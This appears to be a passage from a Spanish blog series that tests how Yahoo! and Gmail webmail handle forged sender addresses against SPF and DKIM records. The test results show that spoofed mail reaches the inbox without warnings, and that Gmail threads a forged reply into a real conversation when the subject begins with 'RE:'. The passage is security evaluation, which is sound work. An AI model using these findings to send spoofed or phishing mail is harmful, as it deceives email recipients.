Esto es porque la configuración que tiene el sistema DKIM de Yahoo! en sus servidores es de softfail, es decir, no garantiza que todos los correos que salen de los servidores de Yahoo! salgan firmados, lo que ayuda bastante poco. Al igual que Hotmail configura sus registros spf con softfail, no garantizando que todos los correos lleguen desde Hotmail, Yahoo! hace algo similar. En este caso se realiza con la opción ~o en lugar de con la opción –o en el registro de tipo txt _domainkey.yahoo.com de los servidores DNS. El sistema, como se puede apreciar con el operador t=y indica que se encuentra en modo test, es decir, en pruebas.


Configuración DKIM en Yahoo.com
Yahoo! recibiendo un correo legítimo firmado con DKIM

Para realizar esta prueba se ha enviado un correo desde Gmail. Este servido firma los correos con DKIM y pueden ser comprobados. Yahoo! realiza la comprobación de la firma y muestra una alerta positiva de verificación.


A la bandeja de entrada y con alerta positiva
Yahoo! recibiendo un correo falso de un dominio que firma con DKIM

En la prueba primera, en la que se veía el comportamiento con un correo falso de yahoo.com, se puede ver cómo reacciona, es decir, sólo muestra alertas positivas si puede comprobarlo. No muestra ninguna alerta y cae en la bandeja de entrada.


Sin alerta negativa y en la bandeja de entrada
Sin embargo, al hacerlo con Gmail el resultado es curioso. Mientras que Gmail sí tiene publicadas las claves de firma, como se vio en la tercera parte del artículo, no publica la configuración de DKIM en el DNS. Para ello debería existir un registro _domainkey.gmail.com de tipo txt en el servidor DNS que NO existe. Se ha de suponer que el sistema está en test y no garantiza que todos los correos lleguen firmados.

Yahoo! recibiendo un correo legítimo desde un servidor con SPF configurado

Sorprende que Yahoo! no haga ningún aprecio a los registros SPF. En este caso el registro es legítimo y Yahoo! no muestra ninguna alerta positiva de comprobación del correo.


Sin alerta postiva, en la bandeja de entrada
Se puede ver, mirando la cabecera del correo electrónico, que Yahoo!, a diferencia de Gmail que consultaba el registro pero no mostraba ninguna alerta, directamente no realiza la comprobación al servidor DNS.


En la cabecera sólo comprueba DKIM, no comprueba SPF
Yahoo! recibiendo un correo falso desde un servidro con SPF configurado

Como era de esperar, la validez del correo electrónico recibido es exactamente la misma que si fuera legítimo. Al obviar directamente el registro SPF se pierde mucha información.


Sin alerta a la bandeja de entrada
Yahoo! recibiendo correos legítimos desde dominios sin SPF usando el MX

Una de las garantías de validez de un remitente que se puede añadir, como ya se comentado en lo que va de artículo, es que el correo venga desde un dominio que no tiene configurado el registro SPF, pero viene desde uno de los servidores MX. Yahoo! al no hacer aprecio directamente al registro SPF anula cualquier uso que se pueda dar al registro MX para validar un correo, por lo que le da exactamente igual si es legítimo o no.

Conclusiones

Yahoo! realiza correctamente las validaciones de correos que vienen firmados con DKIM mostrando una alerta positiva. Sin embargo, el no consultar los registros SPF parece una limitación enorme y una pérdida de información que no traslada al usuario para ayudarle a tomar una decisión. Además, a diferencia de Gmail, no realiza la comprobación, con lo que no vale con leer la cabecera completa del mensaje para saber si es legítimo o no y es labor del usuario realizar las pruebas contra los servidores DNS. Por supuesto, tampoco realiza comprobación MX.

En resumen, deja muchas validaciones sin realizar.

**********************************************************************************************
- Correos falseados en Yahoo!, Gmail y Hotmail (I de V)
- Correos falseados en Yahoo!, Gmail y Hotmail (II de V)
- Correos falseados en Yahoo!, Gmail y Hotmail (III de V)
- Correos falseados en Yahoo!, Gmail y Hotmail (IV de V)
- Correos falseados en Yahoo!, Gmail y Hotmail (V de V)
**********************************************************************************************

Correos falseados en Yahoo.com, Gmail.com y Hotmail.com (III de V)

**********************************************************************************************
- Correos falseados en Yahoo!, Gmail y Hotmail (I de V)
- Correos falseados en Yahoo!, Gmail y Hotmail (II de V)
- Correos falseados en Yahoo!, Gmail y Hotmail (III de V)
- Correos falseados en Yahoo!, Gmail y Hotmail (IV de V)
- Correos falseados en Yahoo!, Gmail y Hotmail (V de V)
**********************************************************************************************

Gmail ha sido, quizás, de estos tres sistemas de correo electrónico en web el que menos me ha gustado. Es curioso ver como Gmail se decanta por dar al resto de los servidores de correo el máximo posible de información para que validen los correos emitidos desde gmail.com, pero, por el contrario, el no realiza ninguna validación correcta. Gmail parece querer relegar todo su control contra correos ilegítimos en la herramienta web a su filtro Anti-spam. Sin embargo, llama poderosamente la atención como a nivel de servidor SMTP sí valida todo. Veamos las pruebas.

Gmail recibe un correo con una dirección falsa de remitente desde Gmail.com

Este correo, viene desde una IP que no está en el SPF de gmail.com, así que, según su propio registro spf1 con softfail debería ser marcado con una alerta.


Registro spf de gmail.com
Además, este correo no viene firmado con DKIM por uno de los servidores de Gmail, cuando por defecto todos los correos que salen de gmail.com son firmados.


Clave pública gamma utilizada para firmar correos gmail.com
Conclusión, debía de dar una alerta de posible correo ilegítimo y no la da. Mal hecho.


El correo entra en la bandeja de entrada sin alerta
Gmail recibe un correo con una dirección falsa de un dominio con SPF

Como era de esperar, el correo no recibe ninguna alerta de peligrosidad o falsedad. Sin embargo, es curioso, pues Gmail sí tiene esa información. Si se echamos un vistazo a la cabecera original del mensaje se puede ver que el mensaje no pasa la validación SPF e incluso, como Hotmail marca la IP de origen como una NO permitida.


Correo falso con remitente hotmail.com y cabecera
Esa información podía ser utilizada por Gmail para poner una alerta, pero no lo hace. Mal hecho.

Gmail recibe un correo legítimo de un servidor con SPF

Ya que no da alertas negativas de correos no comprobados, se podía utilizar una aproximación distinta y mostrar alertas positivas para correos sí validados. Para ver si hay alguna diferencia entre el legítimo y el falso se ha enviado un correo desde una cuenta legítima de Hotmail. El correo pasa el filtro SPF pero la herramienta NO da ninguna alerta positiva. Es decir, en la herramienta web no se ve ninguna diferencia entre el que NO pasa y el que pasa el filtro SPF.


Correo Legítimo que pasa el filtro spf como se ve en la cabecera
Tiene herramientas para diferenciar un correo que viene de un Sender autorizado y otro que no, pero no lo hace. Mal hecho

Gmail recibe legítimo desde un dominio sin SPF pero que envía desde el MX

Al no mostrar ninguna alerta en correos que no pasan el SPF, no tiene mucho sentido hacer esta prueba, pues con una comprobación de este registro sólo se podrían validar correos cuando vengan desde la IP de un MX legítimo desde un dominio sin registro SPF en el DNS.


Legítimo desde un server marcado en el MX
El cliente Web de Gmail, de nuevo, no muestra ningún cambio. Mal hecho.

Gmail recibe un correo falso de un servidor que firma sus mensajes con DKIM

Para hacer esta prueba se utiliza Yahoo.com que firma todos sus correos salientes con DKIM.


Clave pública s1024 de Yahoo.com utilizada para firmas correos
Sin embargo, en este caso, este correo no viene firmado, por lo que no se puede dar ninguna alerta positiva.


Correo sin firmar recibido desde Yahoo
Como se puede apreciar en la imagen anterior el mensaje se ve sin ninguna alerta negativa de no estar firmado.

Gmail recibe un correo legítimo firmado con DKIM

En este caso Gmail comprueba correctamente la firma DKIM del correo recibido. Esto se puede ver en la cabecera del correo original.Sin embargo, el cliente web de Gmail no muestra una alerta positiva en el interface de que el correo ha sido validado.

Gmail comprueba firma DKIM pero no alerta de ello. Mal hecho.
La diferienciación entre correos legítimos o no legítimos sin alertas funciona tan sumamente mal que es posible enviar un correo falso dentro de la conversación de un correo legítimo y gmail los intercala como si ambos fueran buenos sin dar ninguna alerta. Sólo hay que poner el RE: en el asunto del mensaje.


Correo legítimo y correo falso en el mismo thread
Conclusiones

1) Gmail firma sus mensajes salientes con DKIM y comprueba la firma DKIM de los entrantes, pero sin embargo no muestra ninguna alerta negativa de los no firmados ni positiva de los firmados.

2) Gmail autentica con el registro SPF los servidores de correo saliente legítimos y comprueba si el correo viene de un servidor autorizado por el SPF.

3) El cliente Web de Gmail no muestra ninguna alerta, ni negativa ni positiva, de si se ha comprobado o no. Al no mostrar alertas negativas por correos que no vengan desde una IP autorizada por el SPF no da ayudas a un usuario a detectar una posible falsificación.

4) Gmail mezcla en el interface tanto los correos legítimos como los no legítimos.

En resumen, aunque desde el interface es posible acceder a la cabecera original del mensaje recibido, Gmail por web no ayuda para nada a los usuarios a detectar posibles correos falseados. Los servidores de correo, por el contrario, hacen los deberes y tienen tanto las comprobaciones SPF como DKIM implementadas. La herramienta Web tiene que mejorar en este aspecto.

**********************************************************************************************
- Correos falseados en Yahoo!, Gmail y Hotmail (I de V)
- Correos falseados en Yahoo!, Gmail y Hotmail (II de V)
- Correos falseados en Yahoo!, Gmail y Hotmail (III de V)
- Correos falseados en Yahoo!, Gmail y Hotmail (IV de V)
- Correos falseados en Yahoo!, Gmail y Hotmail (V de V)
**********************************************************************************************